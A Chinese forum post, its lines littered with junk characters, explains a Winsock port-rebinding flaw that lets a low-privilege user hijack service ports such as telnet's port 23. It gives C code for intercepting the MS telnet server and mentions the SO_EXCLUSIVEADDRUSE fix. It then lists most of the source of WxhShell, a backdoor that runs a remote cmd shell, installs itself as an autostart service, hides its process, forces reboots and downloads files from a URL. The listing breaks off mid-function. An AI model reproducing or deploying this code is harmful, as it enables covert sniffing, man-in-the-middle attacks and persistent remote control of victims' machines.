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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m:uPEpcU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F";.6%;AC  
;HNq>/{  
  saddr.sin_family = AF_INET; <8!  Tq  
$7Z)Yp&T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wpXgPVZT  
,:)`+v<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1!1!PA9u  
ZF6c{~D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ipe n  
DkDoA;m  
  这意味着什么?意味着可以进行如下的攻击: 9CJ(Z+;OM  
"Y;}G lE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `!vUsM.d  
|4;UyHh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u.,Q4u|!  
.@#A|fgv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6cz/n8Mg  
_c`K+o"3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <YB9Ac~}z  
(YPi&w~S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ! zL1;d  
aS84n.?vq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tGjhHp8}c  
NBYH;h P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x|i_P|Z  
k7@t{Cu0D&  
  #include > Lft9e   
  #include 8`=v.   
  #include s@8w-]"  
  #include    -TO\'^][X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [;A[.&6  
  int main() M5g\s;y;  
  { Z hd#:d  
  WORD wVersionRequested; MSw$_d  
  DWORD ret; %Ip*Kq-  
  WSADATA wsaData; GbI-SbE  
  BOOL val; dOFD5}_   
  SOCKADDR_IN saddr; "ZrOrdlg+A  
  SOCKADDR_IN scaddr; r)^vO+3u  
  int err; j8Cho5C  
  SOCKET s; 15U(={  
  SOCKET sc; ,ho3  
  int caddsize; q{0R=jb  
  HANDLE mt; 5T@aCC@$h  
  DWORD tid;   ?QZ"JX])  
  wVersionRequested = MAKEWORD( 2, 2 ); E&`Nh5JfC  
  err = WSAStartup( wVersionRequested, &wsaData ); 1oiRWRe  
  if ( err != 0 ) { aNxAZMg  
  printf("error!WSAStartup failed!\n"); eJ0?=u!x  
  return -1; &V7M}@  
  } k(t}^50^j  
  saddr.sin_family = AF_INET; iK5_u2]Q  
   9QQyl\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?t](a:IX  
x3 >  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /w(e  
  saddr.sin_port = htons(23); q_kdCO{:df  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rG}\Zjn{  
  { qIIJ4n  
  printf("error!socket failed!\n"); 8CbXMT  
  return -1; H+E$:)gN  
  } \C,p WW  
  val = TRUE; _P?s'HH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vi.w8 >CE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (o5j'2:.  
  { QnQOm ""  
  printf("error!setsockopt failed!\n"); U;N:j8  
  return -1; M_g ?<rK  
  } /D! ;u]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M{g%cR0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 */:uV B,b2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >-8cU_m7s  
6;'dUGvH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d?wc*N3  
  { .*g0w`H5pU  
  ret=GetLastError(); ':{>a28=  
  printf("error!bind failed!\n"); a.N{-2ptH  
  return -1; VTy9_~q  
  } Xpe)PXb  
  listen(s,2); %D$]VSP;  
  while(1) 0:w"M<80  
  { eET&pP3Rp  
  caddsize = sizeof(scaddr); AIMSX]m  
  //接受连接请求 R^?/' dr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ar*^ ;/  
  if(sc!=INVALID_SOCKET) |L2SFB?d=  
  { Od f[*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h2ytS^  
  if(mt==NULL) 7f rTTSZ  
  { %\]* OZ7  
  printf("Thread Creat Failed!\n"); L:XC  
  break; X+UJzR90  
  } *na?n2Yzt  
  } A,sr[Pa@  
  CloseHandle(mt); V|(H|9  
  } 8J$|NYv_b  
  closesocket(s); #@<9S{F  
  WSACleanup(); [8tL"G6s  
  return 0; ^[:p|U2mA  
  }   1-lu\"H`  
  DWORD WINAPI ClientThread(LPVOID lpParam) nRyU]=-X  
  { n]E?3UGD@W  
  SOCKET ss = (SOCKET)lpParam; Cj~'Lhmv'T  
  SOCKET sc; 2hzsKkrA {  
  unsigned char buf[4096]; {~Rk2:gx  
  SOCKADDR_IN saddr; aDO !  
  long num; y=?)n\ f  
  DWORD val; ;>n,:355L  
  DWORD ret; AGLscf.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PRHCrHs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fu!RhsW5j  
  saddr.sin_family = AF_INET; J8mdoVt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SkmT`*v@  
  saddr.sin_port = htons(23); :POj6j/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `BlI@6th  
  { x)(|[  
  printf("error!socket failed!\n"); uj :%#u  
  return -1; BNL;Biy t7  
  } uEX!xx?Q#  
  val = 100; JvY}-}?c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H$y-8-&)  
  { 0`^&9nR  
  ret = GetLastError(); |JQQU! x  
  return -1; 293M\5:  
  } o!)3?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) On?p 9^9  
  { C=eF.FB;'  
  ret = GetLastError(); h5(4*$%  
  return -1; Hy^N!rBxfO  
  }  4^M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gLOEh6  
  { 30SW\@  
  printf("error!socket connect failed!\n"); y&V@^ "`  
  closesocket(sc); 9I4K}R  
  closesocket(ss); rk #sy$  
  return -1; BocSwf;v.  
  } ouuuc9x]  
  while(1) J:Qa5MTWp  
  { Z'\h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8P|D13- Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DAXX;4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e J6$-r  
  num = recv(ss,buf,4096,0); q^Y-}=w  
  if(num>0) 'Iw NTM  
  send(sc,buf,num,0); u fw]=h)  
  else if(num==0) 9Gnc9_]I;W  
  break; #`)(e JF  
  num = recv(sc,buf,4096,0); b:TLV`>/&  
  if(num>0) cLLbZ=`  
  send(ss,buf,num,0); iv4H#rJ  
  else if(num==0) `hQ5VJo  
  break; Fvbh\m ~  
  } 4rLL[??  
  closesocket(ss); ]@phF _  
  closesocket(sc); sG F aL  
  return 0 ; _no*k?o *  
  } ?vbvBu{a  
Z'.AAOG  
;IZwTXu!S  
========================================================== c}2jmwq  
eQ]~dA8>  
下边附上一个代码,,WXhSHELL vkri+:S3  
Zcx`SC-0  
========================================================== e]zBf;9 J  
C$XU%5qi  
#include "stdafx.h" ^G}47(  
rR(X9i  
#include <stdio.h> % ~H=sjg  
#include <string.h> u)+8S/ )  
#include <windows.h> E? ; 0)'h  
#include <winsock2.h> T7hcnF$  
#include <winsvc.h> |R/%D%_g  
#include <urlmon.h> A;]}m8(*  
1=d6NX)B  
#pragma comment (lib, "Ws2_32.lib") \D*KGd]M0  
#pragma comment (lib, "urlmon.lib") 62ws/8d6f  
Yp^rR }N  
#define MAX_USER   100 // 最大客户端连接数 +[\FD; >  
#define BUF_SOCK   200 // sock buffer a6)BqlJ  
#define KEY_BUFF   255 // 输入 buffer GkQpELO:  
?iWi  
#define REBOOT     0   // 重启 n<z [J=I  
#define SHUTDOWN   1   // 关机 %D\[*  
3 :<WY&9  
#define DEF_PORT   5000 // 监听端口 l*d(;AR  
T?ZRiR)@  
#define REG_LEN     16   // 注册表键长度 n'E(y)9|  
#define SVC_LEN     80   // NT服务名长度 pL/DZ|S3  
*V8<:OG|e  
// 从dll定义API 7o# I,d~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E/|To  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l 3ko?k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -z)n?(pftm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z8K?  
42$VhdG  
// wxhshell配置信息 -"' j7t:  
struct WSCFG { F%@aB<Nu  
  int ws_port;         // 监听端口 BBwy,\o#  
  char ws_passstr[REG_LEN]; // 口令 3z{?_;bR  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1W^t aJH]  
  char ws_regname[REG_LEN]; // 注册表键名 Krqtf  
  char ws_svcname[REG_LEN]; // 服务名 M_/7D|xl/T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QI'Oz{vE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "K6&dk jY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :V RNs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4.[^\N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,St#Vla  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qNB<T('  
7:plQ !7^  
}; oAODp!_c  
#S!)JM|4wk  
// default Wxhshell configuration '7hu 2i5  
struct WSCFG wscfg={DEF_PORT, n|9-KTe7|*  
    "xuhuanlingzhe", :L F?  
    1, 5\:^ y'g[  
    "Wxhshell", r1 !@hT  
    "Wxhshell", Vc&! OE  
            "WxhShell Service", p6>Svcc  
    "Wrsky Windows CmdShell Service", 8lvV4yb  
    "Please Input Your Password: ", g+vva"  
  1, RO+GK`J  
  "http://www.wrsky.com/wxhshell.exe", Lo{ E:5q  
  "Wxhshell.exe" G|!Tj X7s  
    }; |"ls\ 7  
Yvw(t j5_5  
// 消息定义模块 ayR-\mZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &^ 1$^=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +" .X )avF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Xf5e*1IS  
char *msg_ws_ext="\n\rExit."; `u3EU*~W  
char *msg_ws_end="\n\rQuit."; BC&S>#\  
char *msg_ws_boot="\n\rReboot..."; N{9v1`B  
char *msg_ws_poff="\n\rShutdown..."; gc_:%ki  
char *msg_ws_down="\n\rSave to "; il4^zj82  
!/'t5~x[  
char *msg_ws_err="\n\rErr!"; xHv ZV<#  
char *msg_ws_ok="\n\rOK!"; f phv  
#+Ir>GU  
char ExeFile[MAX_PATH]; #L=x%8B  
int nUser = 0; e$<0 7Oc  
HANDLE handles[MAX_USER]; bh,[ 3X%  
int OsIsNt; 4tRYw0f47  
k]F[>26k  
SERVICE_STATUS       serviceStatus; {f3YsM;]C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3% #3iZ=_  
X5zDpi|Dq  
// 函数声明 +rd|A|hRq  
int Install(void); vyNxT*,[K  
int Uninstall(void); kbX8$xTM  
int DownloadFile(char *sURL, SOCKET wsh); 4Tb #fH%  
int Boot(int flag);  HSjlD{R  
void HideProc(void); 'f!8DGix  
int GetOsVer(void); V,lOt4b  
int Wxhshell(SOCKET wsl); eenH0Ovv  
void TalkWithClient(void *cs); 7Wf/$vRab  
int CmdShell(SOCKET sock); 4[m`#  
int StartFromService(void); \ub7`01  
int StartWxhshell(LPSTR lpCmdLine); V\ZGd+?  
UOv+T8f=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k9sh @ENy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vYwYQG  
%KC yb  
// 数据结构和表定义 F~R;n_IJ  
SERVICE_TABLE_ENTRY DispatchTable[] = hgYZOwQ  
{ 0fb2;&pUa  
{wscfg.ws_svcname, NTServiceMain}, s Ep"D+f  
{NULL, NULL} R1adWBD>  
}; + [iQLM?zo  
DU0zez I9  
// 自我安装 M'?,] an  
int Install(void) ZQ4p(6a   
{ %aG5F}S2~  
  char svExeFile[MAX_PATH]; 9vuyv*-}e  
  HKEY key; g/ T   
  strcpy(svExeFile,ExeFile); | k&Ck  
\(?rQg@U  
// 如果是win9x系统,修改注册表设为自启动 CM/H9Kz.  
if(!OsIsNt) { $O&b``  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9&-dTayIz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zqimR#u  
  RegCloseKey(key); cvn@/qBq*t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "%`1 ]Fr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dU&a{ $ku[  
  RegCloseKey(key); <Th6r.#?  
  return 0; yZ0-wI  
    } g!g#]9j  
  } jD$,.AVvz  
} "@e3EX7h  
else { =_.l8IYX$%  
dN$0OS`s[  
// 如果是NT以上系统,安装为系统服务 f(>p=%=O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J{.{f  
if (schSCManager!=0) 0.`/X66;V  
{ Z;h t  
  SC_HANDLE schService = CreateService Q- cFtu-w  
  ( m|SUV  
  schSCManager, Rvqq.I8aC  
  wscfg.ws_svcname, RD!&LFz/}  
  wscfg.ws_svcdisp, *RI]?j%B  
  SERVICE_ALL_ACCESS, l.67++_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |XaIx#n  
  SERVICE_AUTO_START, C.WX.Je  
  SERVICE_ERROR_NORMAL, LA!?H]  
  svExeFile, k|e7a2Wwt  
  NULL, EaO6[E  
  NULL, 2,DXc30I  
  NULL, jZu[n)u'C  
  NULL, {3|t;ZHk  
  NULL |B?cVc0  
  ); g#"zQvON  
  if (schService!=0) C8J[Up  
  { {c6=<Kv  
  CloseServiceHandle(schService); `!ob GMTQ<  
  CloseServiceHandle(schSCManager); }s7$7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zIqU,n|]s  
  strcat(svExeFile,wscfg.ws_svcname); }zeO]"`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QmQ=q7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %6|nb:Oa  
  RegCloseKey(key); 5MroNr  
  return 0; H9'$C/w  
    } &W| [r(  
  } :tz#v`3o  
  CloseServiceHandle(schSCManager); *z5.vtfu!  
} .<->C?#  
} 4X!/hI=jq  
7BE>RE=)  
return 1; ux=w!y;}  
} 'j`=if  
!O\82d1P  
// 自我卸载 vDp8__^  
int Uninstall(void) bg!/%[ {M  
{ W,K;6TZhh  
  HKEY key; Ansk,$  
1$xNUsD2  
if(!OsIsNt) { h1j!IG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ty8q11[8  
  RegDeleteValue(key,wscfg.ws_regname); "Bh}}!13  
  RegCloseKey(key); T-'OwCB1q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )MtF23k)g  
  RegDeleteValue(key,wscfg.ws_regname); w^\52  
  RegCloseKey(key); T`9lV2x*P  
  return 0; .iYJr;9`d  
  } 57'*w]4f  
} BGvre'67  
} FI)17i$  
else { [@&m4 7  
%vn|k[n D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'f#{{KA  
if (schSCManager!=0) PIJr{6B/PA  
{ K%,2=.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RFi S@.7  
  if (schService!=0) 4)S,3G  
  { .UQzPnK  
  if(DeleteService(schService)!=0) { ;0Q4<F  
  CloseServiceHandle(schService); DHy q^pJ  
  CloseServiceHandle(schSCManager); qSM|hHDo)  
  return 0; cutuDZ  
  } Q$a{\*[:+  
  CloseServiceHandle(schService); +! ]zA4x  
  } DEBB()6,  
  CloseServiceHandle(schSCManager); 2bv=N4ly  
} x!?u^  
} f&=AA@jLv  
XPavReGf  
return 1; h&M{]E9=  
} h}>"j%I  
Z&G+bdA>,  
// 从指定url下载文件 |hKDvH  
int DownloadFile(char *sURL, SOCKET wsh) 7!$Q;A  
{ WQx?[tW(U  
  HRESULT hr; [meO[otb  
char seps[]= "/"; ;o 6lf_  
char *token; #oS<E1  
char *file; ;(b9#b.  
char myURL[MAX_PATH]; U#0Q)  
char myFILE[MAX_PATH]; IY_iB*T3jt  
]P9l jwR  
strcpy(myURL,sURL); B |5]Jm]  
  token=strtok(myURL,seps); kGH}[w  
  while(token!=NULL) s%vis{2  
  { /Y/UM3/  
    file=token; u]g%@3Pn  
  token=strtok(NULL,seps); )1Y{Q Y}l  
  } X@--m6-  
^3G{|JB!+  
GetCurrentDirectory(MAX_PATH,myFILE); V)3KS-  
strcat(myFILE, "\\"); ^\hG"5#  
strcat(myFILE, file); \q>bs|2  
  send(wsh,myFILE,strlen(myFILE),0); DRSr%d  
send(wsh,"...",3,0); RaO-H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MOQ6 :  
  if(hr==S_OK) |-b#9JQ[A  
return 0; 4`lLf  
else CLxynZ \;  
return 1; Bm:98? [  
OstQqV%@  
} Ka'=o?'B5  
1;JEc9# h  
// 系统电源模块 l94b^W}1)W  
int Boot(int flag) 1ufp qqk  
{ J9..P&c\  
  HANDLE hToken; ISzqEi  
  TOKEN_PRIVILEGES tkp; $6#CqWhI  
L,HhbTRca  
  if(OsIsNt) { `A,-@`p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \J4L:.`qS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t DO=P c  
    tkp.PrivilegeCount = 1; <h!_>:2L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =R^%(Py  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hM_lsc  
if(flag==REBOOT) { 0$(WlP |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \/93Dz  
  return 0; 0^v`T%|fTX  
} kc2 PoJ  
else { Lt2u,9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x/%aM1"X^  
  return 0; 1]d!~  
} ,D5cjaX<  
  } d}Xr}  
  else { fIM,lt  
if(flag==REBOOT) { @hl.lq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jxP;>K7O  
  return 0; $ux,9H'[  
} +*\u :n  
else { Cw~q4A6'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t;){D:]k  
  return 0; &]Q@7Nl7:l  
} o m!!Sl3  
} Juo^,  
$&Gu)4'+  
return 1; ?(xnSW@r  
} LY+@o<>  
C2.HMgL  
// win9x进程隐藏模块 .7O*pJ2(H  
void HideProc(void) 0q^>ZF-@  
{ 36.Z0Z1'F>  
ke!?BZx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Oxy$U   
  if ( hKernel != NULL ) XUrXnz|>  
  { PG2:~$L0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (|F*vP'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '"`IC\N^  
    FreeLibrary(hKernel); R1Pk TZP&  
  } )tG\vk=@  
NxfOF  
return; *=) cQeJ  
} u+dLaVlLJ  
} F E>|1  
// 获取操作系统版本 k3~}7]O)  
int GetOsVer(void) bjyZk_\  
{ GL&y@6  
  OSVERSIONINFO winfo; K:J3Z5"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QZ!Y2Bz(4  
  GetVersionEx(&winfo); %]\kgRr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #+JG(^%B  
  return 1; 4d"r^y'  
  else 1v#%Ei$6`t  
  return 0; 7 G)ZN{'  
} 65L6:}#  
_ "E$v&_  
// 客户端句柄模块 {M3qLf~z#C  
int Wxhshell(SOCKET wsl) K~uXO  
{ !H#bJTXB  
  SOCKET wsh; O3;u G.:1  
  struct sockaddr_in client; lVd^ ^T*fh  
  DWORD myID; 84$nT>c  
?xA:@:l/  
  while(nUser<MAX_USER) XFg 9P}"  
{ m )8BgCy  
  int nSize=sizeof(client); v0ujdp,B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  vx\r!]  
  if(wsh==INVALID_SOCKET) return 1; ih)zG  
$Y;U[_l#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oVnvO iAc  
if(handles[nUser]==0) 60P<4  
  closesocket(wsh); "33Fv9C#bK  
else 0Vj4+2?L5;  
  nUser++; D{!6Y*d6&s  
  } phQU D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EJj.1/]|r  
5]~'_V  
  return 0; -M~8{buxv  
} ,aOl_o -&  
_> f`!PlB|  
// 关闭 socket !]42^?GH  
void CloseIt(SOCKET wsh) PvzcEV  
{ 9Q.rMs>qj  
closesocket(wsh); S O4u9V  
nUser--; dW)B1iUo!  
ExitThread(0); 2$9odD<r  
} Ac96 [  
ZLc -RM  
// 客户端请求句柄 %}[i'rT>  
void TalkWithClient(void *cs) AmvEf  
{ }\hVy(\c  
x`U^OLV  
  SOCKET wsh=(SOCKET)cs; d+<G1w&z  
  char pwd[SVC_LEN]; %fc !2E9|  
  char cmd[KEY_BUFF]; ng[Ar`  
char chr[1]; 8G9s<N}5&u  
int i,j; {mm)ay|M  
Bz^jw>1b  
  while (nUser < MAX_USER) { 5:\},n+VE  
67VL@ ]  
if(wscfg.ws_passstr) { # Nk;4:[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *7:>EP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N c1"g1JR  
  //ZeroMemory(pwd,KEY_BUFF); &@G:G(  
      i=0; PZ2;v<  
  while(i<SVC_LEN) { E8!e:l =Q  
d.3E[AJa(  
  // 设置超时 eS{!)j_^  
  fd_set FdRead; k\wW##=v  
  struct timeval TimeOut; "76 ]u)  
  FD_ZERO(&FdRead); <W|3\p6  
  FD_SET(wsh,&FdRead); H6kR)~zhf  
  TimeOut.tv_sec=8; 3e #p @sB  
  TimeOut.tv_usec=0; 8N!b>??  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " f <Z=c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WgR).Yx  
,f<?;z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vmi+_]   
  pwd=chr[0]; DD7h^-x  
  if(chr[0]==0xd || chr[0]==0xa) { $g@=Z"  
  pwd=0; xRJ\E }/7  
  break; M.Y~1c4f  
  } S\LkL]qx  
  i++; *Tas`WA  
    } yGI;ye'U  
#~#R-   
  // 如果是非法用户,关闭 socket ~F7 -HaQJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uYn_? G  
} zxJ]" N  
wi;Br[d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }]e-{C}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? Fi=P#  
]|!OP  
while(1) { F{Z~ R  
}e!x5g   
  ZeroMemory(cmd,KEY_BUFF); N+++4;  
! _f9NK  
      // 自动支持客户端 telnet标准   e_#._Pi  
  j=0; 8hXl%{6d3  
  while(j<KEY_BUFF) { RzxNbeki[W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;P;-}u  
  cmd[j]=chr[0]; 7/!8e.M\  
  if(chr[0]==0xa || chr[0]==0xd) { 'r4/e-`pK  
  cmd[j]=0; 5)FJ:1-  
  break; i;]"n;>+/  
  } {,3>"  
  j++; T3~k>"W  
    } 11TL~ xFh  
~kQA7;`j$  
  // 下载文件 N2B|SO''  
  if(strstr(cmd,"http://")) { 'U1R\86M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MTsM]o  
  if(DownloadFile(cmd,wsh)) ?: N @!jeJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hx#;Z  
  else ?!;7:VIE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AB=daie  
  } ;L cVr13J/  
  else { 9}l33T4T  
.>CPRVuVI  
    switch(cmd[0]) { H!?c\7adX  
  U@g4w!$r  
  // 帮助 )+l\w3^6  
  case '?': { nKS7Q1+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ OM7g'?S0  
    break; rv &<{@AS~  
  } _hN\10ydY  
  // 安装 V`X2> -Ex  
  case 'i': { H#@^R(  
    if(Install()) <%($7VMev  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|Xk2U  
    else ?>hPO73{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8s"%u )  
    break; Q(lo{AFc  
    } }M1`di4e  
  // 卸载 ~$ng^D  
  case 'r': { I`p+Qt  
    if(Uninstall()) e^d0zl{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u6T+Cg  
    else J!0DR4=Xi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hakKs.U|[  
    break; W"zab  
    } a&tSj35*6  
  // 显示 wxhshell 所在路径 +,2:g}5  
  case 'p': { EKA#|^Q:NX  
    char svExeFile[MAX_PATH]; "^4_@ oo  
    strcpy(svExeFile,"\n\r"); |rJ=Ksc  
      strcat(svExeFile,ExeFile); y&Mr=5:y  
        send(wsh,svExeFile,strlen(svExeFile),0); Z9MdD>uwi  
    break; 4xk|F'6K  
    } #,7e NM"  
  // 重启 /]=C{)8  
  case 'b': { [pl'|B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .$Ik`[+Z  
    if(Boot(REBOOT)) /`f^Y>4gD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]DOX?qI i  
    else { ko Z  
    closesocket(wsh); {XNREjhm  
    ExitThread(0); j/>$,   
    } :|_'fNd+!  
    break; _9JhL:cY  
    } XM1WfjE\  
  // 关机 'SCidN(n  
  case 'd': { +s,Qmmb7)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T^w36}a  
